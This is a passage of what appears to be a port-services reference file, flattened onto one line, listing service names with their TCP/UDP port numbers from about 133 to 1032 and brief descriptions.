Statistics Service statsrv 133/udp # Statistics Service ingres-net 134/tcp # INGRES-NET Service ingres-net 134/udp # INGRES-NET Service loc-srv 135/tcp # NCS local location broker loc-srv 135/udp # Location Service profile 136/tcp # PROFILE Naming System profile 136/udp # PROFILE Naming System netbios-ns 137/tcp # NETBIOS Name Service netbios-ns 137/udp # NETBIOS Name Service netbios-dgm 138/tcp # NETBIOS Datagram Service netbios-dgm 138/udp # NETBIOS Datagram Service netbios-ssn 139/tcp # NETBIOS Session Service netbios-ssn 139/udp # NETBIOS Session Service emfis-data 140/tcp # EMFIS Data Service emfis-data 140/udp # EMFIS Data Service emfis-cntl 141/tcp # EMFIS Control Service emfis-cntl 141/udp # EMFIS Control Service bl-idm 142/tcp # Britton-Lee IDM bl-idm 142/udp # Britton-Lee IDM imap2 143/tcp # Interim Mail Access Protocol v2 imap2 143/udp # Interim Mail Access Protocol v2 news 144/tcp # NewS window system news 144/udp # NewS window system uaac 145/tcp # UAAC Protocol uaac 145/udp # UAAC Protocol iso-tp0 146/tcp # iso-tp0 146/udp # iso-ip 147/tcp # iso-ip 147/udp # cronus 148/tcp # CRONUS-SUPPORT cronus 148/udp # CRONUS-SUPPORT aed-512 149/tcp # AED 512 Emulation Service aed-512 149/udp # AED 512 Emulation Service sql-net 150/tcp # sql-net 150/udp # hems 151/tcp # hems 151/udp # bftp 152/tcp # Background File Transfer Program bftp 152/udp # Background File Transfer Program sgmp 153/tcp # sgmp 153/udp # netsc-prod 154/tcp # netsc-prod 154/udp # netsc-dev 155/tcp # netsc-dev 155/udp # sqlsrv 156/tcp # SQL Service sqlsrv 156/udp # SQL Service knet-cmp 157/tcp # KNET/VM Command/Message Protocol knet-cmp 157/udp # KNET/VM Command/Message Protocol pcmail-srv 158/tcp # PCMail Server pcmail-srv 158/udp # PCMail Server nss-routing 159/tcp # nss-routing 159/udp # sgmp-traps 160/tcp # sgmp-traps 160/udp # snmp 161/tcp # snmp 161/udp # Simple Net Mgmt Proto snmptrap 162/tcp # snmp-trap snmptrap 162/udp # snmp-trap cmip-man 163/tcp # CMIP/TCP Manager cmip-man 163/udp # CMIP/TCP Manager cmip-agent 164/tcp # CMIP/TCP Agent smip-agent 164/udp # CMIP/TCP Agent xns-courier 165/tcp # Xerox xns-courier 165/udp # Xerox s-net 166/tcp # Sirius Systems s-net 166/udp # Sirius Systems namp 167/tcp # namp 167/udp # rsvd 168/tcp # rsvd 168/udp # send 169/tcp # send 169/udp # print-srv 170/tcp # Network PostScript print-srv 170/udp # Network PostScript multiplex 171/tcp # Network Innovations Multiplex multiplex 171/udp # Network Innovations Multiplex cl-1 172/tcp # Network Innovations CL/1 cl-1 172/udp # Network Innovations CL/1 xyplex-mux 173/tcp # xyplex-mux 173/udp # mailq 174/tcp # mailq 174/udp # vmnet 175/tcp # vmnet 175/udp # genrad-mux 176/tcp # genrad-mux 176/udp # xdmcp 177/tcp # X Display Mgr. Control Proto xdmcp 177/udp # X Display Manager Control Protocol nextstep 178/tcp # NextStep Window Server nextstep 178/udp # NextStep Window Server bgp 179/tcp # Border Gateway Protocol bgp 179/udp # Border Gateway Protocol ris 180/tcp # Intergraph ris 180/udp # Intergraph unify 181/tcp # unify 181/udp # audit 182/tcp # Unisys Audit SITP audit 182/udp # Unisys Audit SITP ocbinder 183/tcp # ocbinder 183/udp # ocserver 184/tcp # ocserver 184/udp # remote-kis 185/tcp # remote-kis 185/udp # kis 186/tcp # KIS Protocol kis 186/udp # KIS Protocol aci 187/tcp # Application Communication Interface aci 187/udp # Application Communication Interface mumps 188/tcp # Plus Five's MUMPS mumps 188/udp # Plus Five's MUMPS qft 189/tcp # Queued File Transport qft 189/udp # Queued File Transport gacp 190/tcp # Gateway Access Control Protocol cacp 190/udp # Gateway Access Control Protocol prospero 191/tcp # Prospero Directory Service prospero 191/udp # Prospero Directory Service osu-nms 192/tcp # OSU Network Monitoring System osu-nms 192/udp # OSU Network Monitoring System srmp 193/tcp # Spider Remote Monitoring Protocol srmp 193/udp # Spider Remote Monitoring Protocol irc 194/tcp # Internet Relay Chat irc 194/udp # Internet Relay Chat Protocol dn6-nlm-aud 195/tcp # DNSIX Network Level Module Audit dn6-nlm-aud 195/udp # DNSIX Network Level Module Audit dn6-smm-red 196/tcp # DNSIX Session Mgt Module Audit Redir dn6-smm-red 196/udp # DNSIX Session Mgt Module Audit Redir dls 197/tcp # Directory Location Service dls 197/udp # Directory Location Service dls-mon 198/tcp # Directory Location Service Monitor dls-mon 198/udp # Directory Location Service Monitor smux 199/tcp # SNMP Unix Multiplexer smux 199/udp # src 200/tcp # IBM System Resource Controller src 200/udp # IBM System Resource Controller at-rtmp 201/tcp # AppleTalk Routing Maintenance at-rtmp 201/udp # AppleTalk Routing Maintenance at-nbp 202/tcp # AppleTalk Name Binding at-nbp 202/udp # AppleTalk Name Binding at-3 203/tcp # AppleTalk Unused at-3 203/udp # AppleTalk Unused at-echo 204/tcp # AppleTalk Echo at-echo 204/udp # AppleTalk Echo at-5 205/tcp # AppleTalk Unused at-5 205/udp # AppleTalk Unused at-zis 206/tcp # AppleTalk Zone Information at-zis 206/udp # AppleTalk Zone Information at-7 207/tcp # AppleTalk Unused at-7 207/udp # AppleTalk Unused at-8 208/tcp # AppleTalk Unused at-8 208/udp # AppleTalk Unused tam 209/tcp # Trivial Authenticated Mail Protocol tam 209/udp # Trivial Authenticated Mail Protocol z39.50 210/tcp # wais, ANSI Z39.50 z39.50 210/udp # wais, ANSI Z39.50 914c-g 211/tcp # Texas Instruments 914C/G Terminal 914c-g 211/udp # Texas Instruments 914C/G Terminal anet 212/tcp # ATEXSSTR anet 212/udp # ATEXSSTR ipx 213/tcp # ipx 213/udp # vmpwscs 214/tcp # vmpwscs 214/udp # softpc 215/tcp # Insignia Solutions softpc 215/udp # Insignia Solutions atls 216/tcp # Access Technology License Server atls 216/udp # Access Technology License Server dbase 217/tcp # dBASE Unix dbase 217/udp # dBASE Unix mpp 218/tcp # Netix Message Posting Protocol mpp 218/udp # Netix Message Posting Protocol uarps 219/tcp # Unisys ARPs uarps 219/udp # Unisys ARPs imap3 220/tcp # Interactive Mail Access Protocol v3 imap3 220/udp # Interactive Mail Access Protocol v3 fln-spx 221/tcp # Berkeley rlogind with SPX auth fln-spx 221/udp # Berkeley rlogind with SPX auth rsh-spx 222/tcp # Berkeley rshd with SPX auth rsh-spx 222/udp # Berkeley rshd with SPX auth cdc 223/tcp # Certificate Distribution Center cdc 223/udp # Certificate Distribution Center direct 242/tcp # direct 242/udp # sur-meas 243/tcp # Survey Measurement sur-meas 243/udp # Survey Measurement dayna 244/tcp # dayna 244/udp # link 245/tcp # link 245/udp # dsp3270 246/tcp # Display Systems Protocol dsp3270 246/udp # Display Systems Protocol subntbcst_tftp 247/tcp # subntbcst_tftp 247/udp # bhfhs 248/tcp # bhfhs 248/udp # FW1-secureremote 256/tcp # also "rap" rap 256/udp # FW1-mc-fwmodule 257/tcp # FW1 management console for communication w/modules and also secure electronic transaction (set) port set 257/udp # secure electronic transaction Fw1-mc-gui 258/tcp # also yak winsock personal chat yak-chat 258/udp # yak winsock personal chat esro-gen 259/tcp # efficient short remote operations firewall1-rdp 259/udp # Firewall 1 proprietary RDP protocol http://www.inside-security.de/fw1_rdp_poc.html openport 260/tcp # openport 260/udp # nsiiops 261/tcp # iiop name service over tls/ssl nsiiops 261/udp # iiop name service over tls/ssl arcisdms 262/tcp # arcisdms 262/udp # hdap 263/tcp # hdap 263/udp # bgmp 264/tcp # FW1-or-bgmp 264/udp # FW1 secureremote alternate maybeFW1 265/tcp http-mgmt 280/tcp # http-mgmt 280/udp # personal-link 281/tcp # personal-link 281/udp # cableport-ax 282/tcp # cable port a/x cableport-ax 282/udp # cable port a/x novastorbakcup 308/tcp # novastor backup novastorbakcup 308/udp # novastor backup entrusttime 309/tcp # entrusttime 309/udp # bhmds 310/tcp # bhmds 310/udp # asip-webadmin 311/tcp # appleshare ip webadmin asip-webadmin 311/udp # appleshare ip webadmin vslmp 312/tcp # vslmp 312/udp # magenta-logic 313/tcp # magenta-logic 313/udp # opalis-robot 314/tcp # opalis-robot 314/udp # dpsi 315/tcp # dpsi 315/udp # decauth 316/tcp # decauth 316/udp # zannet 317/tcp # zannet 317/udp # pip 321/tcp # pip 321/udp # pdap 344/tcp # Prospero Data Access Protocol pdap 344/udp # Prospero Data Access Protocol pawserv 345/tcp # Perf Analysis Workbench pawserv 345/udp # Perf Analysis Workbench zserv 346/tcp # Zebra server zserv 346/udp # Zebra server fatserv 347/tcp # Fatmen Server fatserv 347/udp # Fatmen Server csi-sgwp 348/tcp # Cabletron Management Protocol csi-sgwp 348/udp # Cabletron Management Protocol mftp 349/tcp # mftp 349/udp # matip-type-a 350/tcp # MATIP Type A matip-type-a 350/udp # matip-type-b 351/tcp # MATIP Type B or bhoetty also safetp matip-type-b 351/udp # MATIP Type B or bhoetty dtag-ste-sb 352/tcp # DTAG, or bhoedap4 dtag-ste-sb 352/udp # DTAG, or bhoedap4 ndsauth 353/tcp # ndsauth 353/udp # bh611 354/tcp # bh611 354/udp # datex-asn 355/tcp # datex-asn 355/udp # cloanto-net-1 356/tcp # Cloanto Net 1 cloanto-net-1 356/udp # bhevent 357/tcp # bhevent 357/udp # shrinkwrap 358/tcp # shrinkwrap 358/udp # tenebris_nts 359/tcp # Tenebris Network Trace Service tenebris_nts 359/udp # Tenebris Network Trace Service scoi2odialog 360/tcp # scoi2odialog 360/udp # semantix 361/tcp # semantix 361/udp # srssend 362/tcp # SRS Send srssend 362/udp # SRS Send rsvp_tunnel 363/tcp # rsvp_tunnel 363/udp # aurora-cmgr 364/tcp # aurora-cmgr 364/udp # dtk 365/tcp # Deception Tool Kit (www.all.net) dtk 365/udp # Deception Tool Kit (www.all.net) odmr 366/tcp # odmr 366/udp # mortgageware 367/tcp # mortgageware 367/udp # qbikgdp 368/tcp # qbikgdp 368/udp # rpc2portmap 369/tcp # rpc2portmap 369/udp # codaauth2 370/tcp # codaauth2 370/udp # clearcase 371/tcp # clearcase 371/udp # ulistserv 372/tcp # Unix Listserv ulistserv 372/udp # Unix Listserv legent-1 373/tcp # Legent Corporation (now Computer Associates Intl.) legent-1 373/udp # Legent Corporation (now Computer Associates Intl.) legent-2 374/tcp # Legent Corporation (now Computer Associates Intl.) legent-2 374/udp # Legent Corporation (now Computer Associates Intl.) hassle 375/tcp # hassle 375/udp # nip 376/tcp # Amiga Envoy Network Inquiry Proto nip 376/udp # Amiga Envoy Network Inquiry Proto tnETOS 377/tcp # NEC Corporation tnETOS 377/udp # NEC Corporation dsETOS 378/tcp # NEC Corporation dsETOS 378/udp # NEC Corporation is99c 379/tcp # TIA/EIA/IS-99 modem client is99c 379/udp # TIA/EIA/IS-99 modem client is99s 380/tcp # TIA/EIA/IS-99 modem server is99s 380/udp # TIA/EIA/IS-99 modem server hp-collector 381/tcp # hp performance data collector hp-collector 381/udp # hp performance data collector hp-managed-node 382/tcp # hp performance data managed node hp-managed-node 382/udp # hp performance data managed node hp-alarm-mgr 383/tcp # hp performance data alarm manager hp-alarm-mgr 383/udp # hp performance data alarm manager arns 384/tcp # A Remote Network Server System arns 384/udp # A Remote Network Server System ibm-app 385/tcp # IBM Application ibm-app 385/udp # IBM Application asa 386/tcp # ASA Message Router Object Def. asa 386/udp # ASA Message Router Object Def. aurp 387/tcp # Appletalk Update-Based Routing Pro. aurp 387/udp # Appletalk Update-Based Routing Pro. unidata-ldm 388/tcp # Unidata LDM Version 4 unidata-ldm 388/udp # Unidata LDM Version 4 ldap 389/tcp # Lightweight Directory Access Protocol ldap 389/udp # Lightweight Directory Access Protocol uis 390/tcp # uis 390/udp # synotics-relay 391/tcp # SynOptics SNMP Relay Port synotics-relay 391/udp # SynOptics SNMP Relay Port synotics-broker 392/tcp # SynOptics Port Broker Port synotics-broker 392/udp # SynOptics Port Broker Port dis 393/tcp # Data Interpretation System dis 393/udp # Data Interpretation System embl-ndt 394/tcp # EMBL Nucleic Data Transfer embl-ndt 394/udp # EMBL Nucleic Data Transfer netcp 395/tcp # NETscout Control Protocol netcp 395/udp # NETscout Control Protocol netware-ip 396/tcp # Novell Netware over IP netware-ip 396/udp # Novell Netware over IP mptn 397/tcp # Multi Protocol Trans. Net. mptn 397/udp # Multi Protocol Trans. Net. kryptolan 398/tcp # kryptolan 398/udp # iso-tsap-c2 399/tcp # ISO-TSAP Class 2 iso-tsap-c2 399/udp # ISO-TSAP Class 2 work-sol 400/tcp # Workstation Solutions work-sol 400/udp # Workstation Solutions ups 401/tcp # Uninterruptible Power Supply ups 401/udp # Uninterruptible Power Supply genie 402/tcp # Genie Protocol genie 402/udp # Genie Protocol decap 403/tcp # decap 403/udp # nced 404/tcp # nced 404/udp # ncld 405/tcp # ncld 405/udp # imsp 406/tcp # Interactive Mail Support Protocol imsp 406/udp # Interactive Mail Support Protocol timbuktu 407/tcp # timbuktu 407/udp # prm-sm 408/tcp # Prospero Resource Manager Sys. Man. prm-sm 408/udp # Prospero Resource Manager Sys. Man. prm-nm 409/tcp # Prospero Resource Manager Node Man. prm-nm 409/udp # Prospero Resource Manager Node Man. decladebug 410/tcp # DECLadebug Remote Debug Protocol decladebug 410/udp # DECLadebug Remote Debug Protocol rmt 411/tcp # Remote MT Protocol rmt 411/udp # Remote MT Protocol synoptics-trap 412/tcp # Trap Convention Port synoptics-trap 412/udp # Trap Convention Port smsp 413/tcp # smsp 413/udp # infoseek 414/tcp # infoseek 414/udp # bnet 415/tcp # bnet 415/udp # silverplatter 416/tcp # silverplatter 416/udp # onmux 417/tcp # Meeting maker onmux 417/udp # Meeting maker hyper-g 418/tcp # hyper-g 418/udp # ariel1 419/tcp # ariel1 419/udp # smpte 420/tcp # smpte 420/udp # ariel2 421/tcp # ariel2 421/udp # ariel3 422/tcp # ariel3 422/udp # opc-job-start 423/tcp # IBM Operations Planning and Control Start opc-job-start 423/udp # IBM Operations Planning and Control Start opc-job-track 424/tcp # IBM Operations Planning and Control Track opc-job-track 424/udp # IBM Operations Planning and Control Track icad-el 425/tcp # icad-el 425/udp # smartsdp 426/tcp # smartsdp 426/udp # svrloc 427/tcp # Server Location svrloc 427/udp # Server Location ocs_cmu 428/tcp # ocs_cmu 428/udp # ocs_amu 429/tcp # ocs_amu 429/udp # utmpsd 430/tcp # utmpsd 430/udp # utmpcd 431/tcp # utmpcd 431/udp # iasd 432/tcp # iasd 432/udp # nnsp 433/tcp # Usenet, Network News Transfer nnsp 433/udp # mobileip-agent 434/tcp # mobileip-agent 434/udp # mobilip-mn 435/tcp # mobilip-mn 435/udp # dna-cml 436/tcp # dna-cml 436/udp # comscm 437/tcp # comscm 437/udp # dsfgw 438/tcp # dsfgw 438/udp # dasp 439/tcp # dasp 439/udp # sgcp 440/tcp # sgcp 440/udp # decvms-sysmgt 441/tcp # decvms-sysmgt 441/udp # cvc_hostd 442/tcp # cvc_hostd 442/udp # https 443/tcp # secure http (SSL) https 443/udp # snpp 444/tcp # Simple Network Paging Protocol snpp 444/udp # Simple Network Paging Protocol microsoft-ds 445/tcp # SMB directly over IP microsoft-ds 445/udp # ddm-rdb 446/tcp # ddm-rdb 446/udp # ddm-dfm 447/tcp # ddm-dfm 447/udp # ddm-ssl 448/tcp # ddm-byte ddm-ssl 448/udp # ddm-byte as-servermap 449/tcp # AS Server Mapper as-servermap 449/udp # AS Server Mapper tserver 450/tcp # tserver 450/udp # sfs-smp-net 451/tcp # Cray Network Semaphore server sfs-smp-net 451/udp # Cray Network Semaphore server sfs-config 452/tcp # Cray SFS config server sfs-config 452/udp # Cray SFS config server creativeserver 453/tcp # creativeserver 453/udp # contentserver 454/tcp # contentserver 454/udp # creativepartnr 455/tcp # creativepartnr 455/udp # macon-tcp 456/tcp # macon-udp 456/udp # scohelp 457/tcp # scohelp 457/udp # appleqtc 458/tcp # apple quick time appleqtc 458/udp # apple quick time ampr-rcmd 459/tcp # ampr-rcmd 459/udp # skronk 460/tcp # skronk 460/udp # datasurfsrv 461/tcp # datasurfsrv 461/udp # datasurfsrvsec 462/tcp # datasurfsrvsec 462/udp # alpes 463/tcp # alpes 463/udp # kpasswd5 464/tcp # Kerberos (v5) kpasswd5 464/udp # Kerberos (v5) smtps 465/tcp # smtp protocol over TLS/SSL (was ssmtp) smtps 465/udp # smtp protocol over TLS/SSL (was ssmtp) digital-vrc 466/tcp # digital-vrc 466/udp # mylex-mapd 467/tcp # mylex-mapd 467/udp # photuris 468/tcp # Photuris Key Management photuris 468/udp # rcp 469/tcp # Radio Control Protocol rcp 469/udp # Radio Control Protocol scx-proxy 470/tcp # scx-proxy 470/udp # mondex 471/tcp # mondex 471/udp # ljk-login 472/tcp # ljk-login 472/udp # hybrid-pop 473/tcp # hybrid-pop 473/udp # tn-tl-w1 474/tcp # tn-tl-w2 474/udp # tcpnethaspsrv 475/tcp # tcpnethaspsrv 475/udp # tn-tl-fd1 476/tcp # tn-tl-fd1 476/udp # ss7ns 477/tcp # ss7ns 477/udp # spsc 478/tcp # spsc 478/udp # iafserver 479/tcp # iafserver 479/udp # loadsrv 480/tcp # iafdbase 480/udp # dvs 481/tcp # ph 481/udp # bgs-nsi 482/tcp # xlog 482/udp # ulpnet 483/tcp # ulpnet 483/udp # integra-sme 484/tcp # Integra Software Management Environment integra-sme 484/udp # Integra Software Management Environment powerburst 485/tcp # Air Soft Power Burst powerburst 485/udp # Air Soft Power Burst sstats 486/tcp # avian 486/udp # saft 487/tcp # saft Simple Asynchronous File Transfer saft 487/udp # saft Simple Asynchronous File Transfer gss-http 488/tcp # gss-http 488/udp # nest-protocol 489/tcp # nest-protocol 489/udp # micom-pfs 490/tcp # micom-pfs 490/udp # go-login 491/tcp # go-login 491/udp # ticf-1 492/tcp # Transport Independent Convergence for FNA ticf-1 492/udp # Transport Independent Convergence for FNA ticf-2 493/tcp # Transport Independent Convergence for FNA ticf-2 493/udp # Transport Independent Convergence for FNA pov-ray 494/tcp # pov-ray 494/udp # intecourier 495/tcp # intecourier 495/udp # pim-rp-disc 496/tcp # pim-rp-disc 496/udp # dantz 497/tcp # dantz 497/udp # siam 498/tcp # siam 498/udp # iso-ill 499/tcp # ISO ILL Protocol iso-ill 499/udp # ISO ILL Protocol isakmp 500/tcp # isakmp 500/udp # stmf 501/tcp # stmf 501/udp # asa-appl-proto 502/tcp # asa-appl-proto 502/udp # intrinsa 503/tcp # intrinsa 503/udp # citadel 504/tcp # citadel 504/udp # mailbox-lm 505/tcp # mailbox-lm 505/udp # ohimsrv 506/tcp # ohimsrv 506/udp # crs 507/tcp # crs 507/udp # xvttp 508/tcp # xvttp 508/udp # snare 509/tcp # snare 509/udp # fcp 510/tcp # FirstClass Protocol fcp 510/udp # FirstClass Protocol passgo 511/tcp # passgo 511/udp # exec 512/tcp # BSD rexecd(8) biff 512/udp # comsat login 513/tcp # BSD rlogind(8) who 513/udp # BSD rwhod(8) shell 514/tcp # BSD rshd(8) syslog 514/udp # BSD syslogd(8) printer 515/tcp # spooler (lpd) printer 515/udp # spooler (lpd) videotex 516/tcp # videotex 516/udp # talk 517/tcp # like tenex link, but across talk 517/udp # BSD talkd(8) ntalk 518/tcp # (talkd) ntalk 518/udp # (talkd) utime 519/tcp # unixtime utime 519/udp # unixtime efs 520/tcp # extended file name server route 520/udp # router routed -- RIP ripng 521/tcp # ripng 521/udp # ulp 522/tcp # ulp 522/udp # ibm-db2 523/tcp # ibm-db2 523/udp # ncp 524/tcp # ncp 524/udp # timed 525/tcp # timeserver timed 525/udp # timeserver tempo 526/tcp # newdate tempo 526/udp # newdate stx 527/tcp # Stock IXChange stx 527/udp # Stock IXChange custix 528/tcp # Customer IXChange custix 528/udp # Customer IXChange irc-serv 529/tcp # irc-serv 529/udp # courier 530/tcp # rpc courier 530/udp # rpc conference 531/tcp # chat conference 531/udp # chat netnews 532/tcp # readnews netnews 532/udp # readnews netwall 533/tcp # for emergency broadcasts netwall 533/udp # for emergency broadcasts mm-admin 534/tcp # MegaMedia Admin mm-admin 534/udp # MegaMedia Admin iiop 535/tcp # iiop 535/udp # opalis-rdv 536/tcp # opalis-rdv 536/udp # nmsp 537/tcp # Networked Media Streaming Protocol nmsp 537/udp # Networked Media Streaming Protocol gdomap 538/tcp # gdomap 538/udp # apertus-ldp 539/tcp # Apertus Technologies Load Determination apertus-ldp 539/udp # Apertus Technologies Load Determination uucp 540/tcp # uucpd uucp 540/udp # uucpd uucp-rlogin 541/tcp # uucp-rlogin 541/udp # commerce 542/tcp # commerce 542/udp # klogin 543/tcp # Kerberos (v4/v5) klogin 543/udp # Kerberos (v4/v5) kshell 544/tcp # krcmd Kerberos (v4/v5) kshell 544/udp # krcmd Kerberos (v4/v5) ekshell 545/tcp # Kerberos encrypted remote shell -kfall appleqtcsrvr 545/udp # dhcpv6-client 546/tcp # DHCPv6 Client dhcpv6-client 546/udp # DHCPv6 Client dhcpv6-server 547/tcp # DHCPv6 Server dhcpv6-server 547/udp # DHCPv6 Server afpovertcp 548/tcp # AFP over TCP afpovertcp 548/udp # AFP over UDP idfp 549/tcp # idfp 549/udp # new-rwho 550/tcp # new-who new-rwho 550/udp # new-who cybercash 551/tcp # cybercash 551/udp # deviceshare 552/tcp # deviceshare 552/udp # pirp 553/tcp # pirp 553/udp # rtsp 554/tcp # Real Time Stream Control Protocol rtsp 554/udp # Real Time Stream Control Protocol dsf 555/tcp # dsf 555/udp # remotefs 556/tcp # rfs, rfs_server, Brunhoff remote filesystem remotefs 556/udp # rfs, rfs_server, Brunhoff remote filesystem openvms-sysipc 557/tcp # openvms-sysipc 557/udp # sdnskmp 558/tcp # sdnskmp 558/udp # teedtap 559/tcp # teedtap 559/udp # rmonitor 560/tcp # rmonitord rmonitor 560/udp # rmonitord monitor 561/tcp # monitor 561/udp # chshell 562/tcp # chcmd chshell 562/udp # chcmd snews 563/tcp # snews 563/udp # 9pfs 564/tcp # plan 9 file service 9pfs 564/udp # plan 9 file service whoami 565/tcp # whoami 565/udp # streettalk 566/tcp # banyan-rpc 567/tcp # banyan-rpc 567/udp # ms-shuttle 568/tcp # Microsoft shuttle ms-shuttle 568/udp # Microsoft shuttle ms-rome 569/tcp # Microsoft rome ms-rome 569/udp # Microsoft rome meter 570/tcp # demon meter 570/udp # demon umeter 571/tcp # udemon umeter 571/udp # udemon sonar 572/tcp # sonar 572/udp # banyan-vip 573/tcp # banyan-vip 573/udp # ftp-agent 574/tcp # FTP Software Agent System ftp-agent 574/udp # FTP Software Agent System vemmi 575/tcp # vemmi 575/udp # ipcd 576/tcp # ipcd 576/udp # vnas 577/tcp # vnas 577/udp # ipdd 578/tcp # ipdd 578/udp # decbsrv 579/tcp # decbsrv 579/udp # sntp-heartbeat 580/tcp # sntp-heartbeat 580/udp # bdp 581/tcp # Bundle Discovery Protocol bdp 581/udp # Bundle Discovery Protocol scc-security 582/tcp # scc-security 582/udp # philips-vc 583/tcp # Philips Video-Conferencing philips-vc 583/udp # Philips Video-Conferencing keyserver 584/tcp # keyserver 584/udp # imap4-ssl 585/tcp # IMAP4+SSL (use of 585 is not recommended, imap4-ssl 585/udp # use 993 instead) password-chg 586/tcp # password-chg 586/udp # submission 587/tcp # submission 587/udp # cal 588/tcp # cal 588/udp # eyelink 589/tcp # eyelink 589/udp # tns-cml 590/tcp # tns-cml 590/udp # http-alt 591/tcp # FileMaker, Inc. - HTTP Alternate http-alt 591/udp # FileMaker, Inc. - HTTP Alternate eudora-set 592/tcp # eudora-set 592/udp # http-rpc-epmap 593/tcp # HTTP RPC Ep Map http-rpc-epmap 593/udp # HTTP RPC Ep Map tpip 594/tcp # tpip 594/udp # cab-protocol 595/tcp # cab-protocol 595/udp # smsd 596/tcp # smsd 596/udp # ptcnameservice 597/tcp # PTC Name Service ptcnameservice 597/udp # PTC Name Service sco-websrvrmg3 598/tcp # SCO Web Server Manager 3 sco-websrvrmg3 598/udp # SCO Web Server Manager 3 acp 599/tcp # Aeolon Core Protocol acp 599/udp # Aeolon Core Protocol ipcserver 600/tcp # Sun IPC server ipcserver 600/udp # Sun IPC server urm 606/tcp # Cray Unified Resource Manager urm 606/udp # Cray Unified Resource Manager nqs 607/tcp # nqs 607/udp # sift-uft 608/tcp # Sender-Initiated/Unsolicited File Transfer sift-uft 608/udp # Sender-Initiated/Unsolicited File Transfer npmp-trap 609/tcp # npmp-trap 609/udp # npmp-local 610/tcp # npmp-local 610/udp # npmp-gui 611/tcp # npmp-gui 611/udp # sco-dtmgr 617/tcp # SCO Desktop Administration Server or Arkeia (www.akriea.com) backup software sco-dtmgr 617/udp # SCO Desktop Administration Server qmqp 628/tcp # Qmail Quick Mail Queueing ipp 631/tcp # Internet Printing Protocol -- for one implementation see http://www.cups.org (Common UNIX Printing System) ginad 634/tcp # ginad 634/udp # mount 635/udp # NFS Mount Service ldapssl 636/tcp # LDAP over SSL lanserver 637/tcp # lanserver 637/udp # pcnfs 640/udp # PC-NFS DOS Authentication bwnfs 650/udp # BW-NFS DOS Authentication mac-srvr-admin 660/tcp # MacOS Server Admin mac-srvr-admin 660/udp # MacOS Server Admin doom 666/tcp # doom Id Software doom 666/udp # doom Id Software acap 674/tcp # ACAP server of Communigate (www.stalker.com) resvc 691/tcp # The Microsoft Exchange 2000 Server Routing Service elcsd 704/tcp # errlog copy/server daemon elcsd 704/udp # errlog copy/server daemon silc 706/tcp # Secure Internet Live Conferencing -- http://silcnet.org entrustmanager 709/tcp # EntrustManager - NorTel DES auth network see 389/tcp entrustmanager 709/udp # EntrustManager - NorTel DES auth network see 389/tcp netviewdm1 729/tcp # IBM NetView DM/6000 Server/Client netviewdm1 729/udp # IBM NetView DM/6000 Server/Client netviewdm2 730/tcp # IBM NetView DM/6000 send/tcp netviewdm2 730/udp # IBM NetView DM/6000 send/tcp netviewdm3 731/tcp # IBM NetView DM/6000 receive/tcp netviewdm3 731/udp # IBM NetView DM/6000 receive/tcp sometimes-rpc2 737/udp # Rusersd on my OpenBSD box netcp 740/tcp # NETscout Control Protocol netcp 740/udp # NETscout Control Protocol netgw 741/tcp # netgw 741/udp # netrcs 742/tcp # Network based Rev. Cont. Sys. netrcs 742/udp # Network based Rev. Cont. Sys. flexlm 744/tcp # Flexible License Manager flexlm 744/udp # Flexible License Manager fujitsu-dev 747/tcp # Fujitsu Device Control fujitsu-dev 747/udp # Fujitsu Device Control ris-cm 748/tcp # Russell Info Sci Calendar Manager ris-cm 748/udp # Russell Info Sci Calendar Manager kerberos-adm 749/tcp # Kerberos 5 admin/changepw kerberos-adm 749/udp # Kerberos 5 admin/changepw kerberos 750/tcp # kdc Kerberos (v4) kerberos 750/udp # kdc Kerberos (v4) kerberos_master 751/tcp # Kerberos `kadmin' (v4) kerberos_master 751/udp # Kerberos `kadmin' (v4) qrh 752/tcp # qrh 752/udp # rrh 753/tcp # rrh 753/udp # krb_prop 754/tcp # kerberos/v5 server propagation nlogin 758/tcp # nlogin 758/udp # con 759/tcp # con 759/udp # krbupdate 760/tcp # kreg Kerberos (v4) registration ns 760/udp # kpasswd 761/tcp # kpwd Kerberos (v4) "passwd" rxe 761/udp # quotad 762/tcp # quotad 762/udp # cycleserv 763/tcp # cycleserv 763/udp # omserv 764/tcp # omserv 764/udp # webster 765/tcp # webster 765/udp # phonebook 767/tcp # phone phonebook 767/udp # phone vid 769/tcp # vid 769/udp # cadlock 770/tcp # cadlock 770/udp # rtip 771/tcp # rtip 771/udp # cycleserv2 772/tcp # cycleserv2 772/udp # submit 773/tcp # notify 773/udp # rpasswd 774/tcp # acmaint_dbd 774/udp # entomb 775/tcp # acmaint_transd 775/udp # wpages 776/tcp # wpages 776/udp # wpgs 780/tcp # wpgs 780/udp # hp-collector 781/tcp # hp performance data collector hp-collector 781/udp # hp performance data collector hp-managed-node 782/tcp # hp performance data managed node hp-managed-node 782/udp # hp performance data managed node hp-alarm-mgr 783/tcp # hp performance data alarm manager hp-alarm-mgr 783/udp # hp performance data alarm manager concert 786/tcp # concert 786/udp # controlit 799/tcp mdbs_daemon 800/tcp # mdbs_daemon 800/udp # device 801/tcp # device 801/udp # supfilesrv 871/tcp # SUP server rsync 873/tcp # Rsync server ( http://rsync.samba.org ) accessbuilder 888/tcp # or Audio CD Database accessbuilder 888/udp # sun-manageconsole 898/tcp # Solaris Management Console Java listener (Solaris 8 & 9) ftps-data 989/tcp # ftp protocol, data, over TLS/SSL samba-swat 901/tcp # Samba SWAT tool. Also used by ISS RealSecure. oftep-rpc 950/tcp # Often RPC.statd (on Redhat Linux) rndc 953/tcp # RNDC is used by BIND 9 (& probably other NS) securenetpro-sensor 975/tcp ftps 990/tcp # ftp protocol, control, over TLS/SSL telnets 992/tcp # telnet protocol over TLS/SSL imaps 993/tcp # imap4 protocol over TLS/SSL ircs 994/tcp # irc protocol over TLS/SSL pop3s 995/tcp # POP3 protocol over TLS/SSL xtreelic 996/tcp # XTREE License Server vsinet 996/udp # maitrd 997/tcp # maitrd 997/udp # busboy 998/tcp # puparp 998/udp # garcon 999/tcp # applix 999/udp # Applix ac cadlock 1000/tcp # ock 1000/udp # ufsd 1008/tcp # ufsd # UFS-aware server ufsd 1008/udp # sometimes-rpc1 1012/udp # This is rstatd on my openBSD box netvenuechat 1023/tcp # Nortel NetVenue Notification, Chat, Intercom kdm 1024/tcp # K Display Manager (KDE version of xdm) NFS-or-IIS 1025/tcp # IIS, NFS, or listener RFS remote_file_sharing blackjack 1025/udp # network blackjack LSA-or-nterm 1026/tcp # nterm remote_login network_terminal IIS 1027/tcp ms-lsa 1028/udp # ms-lsa 1029/tcp # iad1 1030/tcp # BBN IAD iad1 1030/udp # BBN IAD iad2 1031/tcp # BBN IAD iad2 1031/udp # BBN IAD iad3 1032/tcp # BBN IAD iad3 1032/udp # BBN IAD 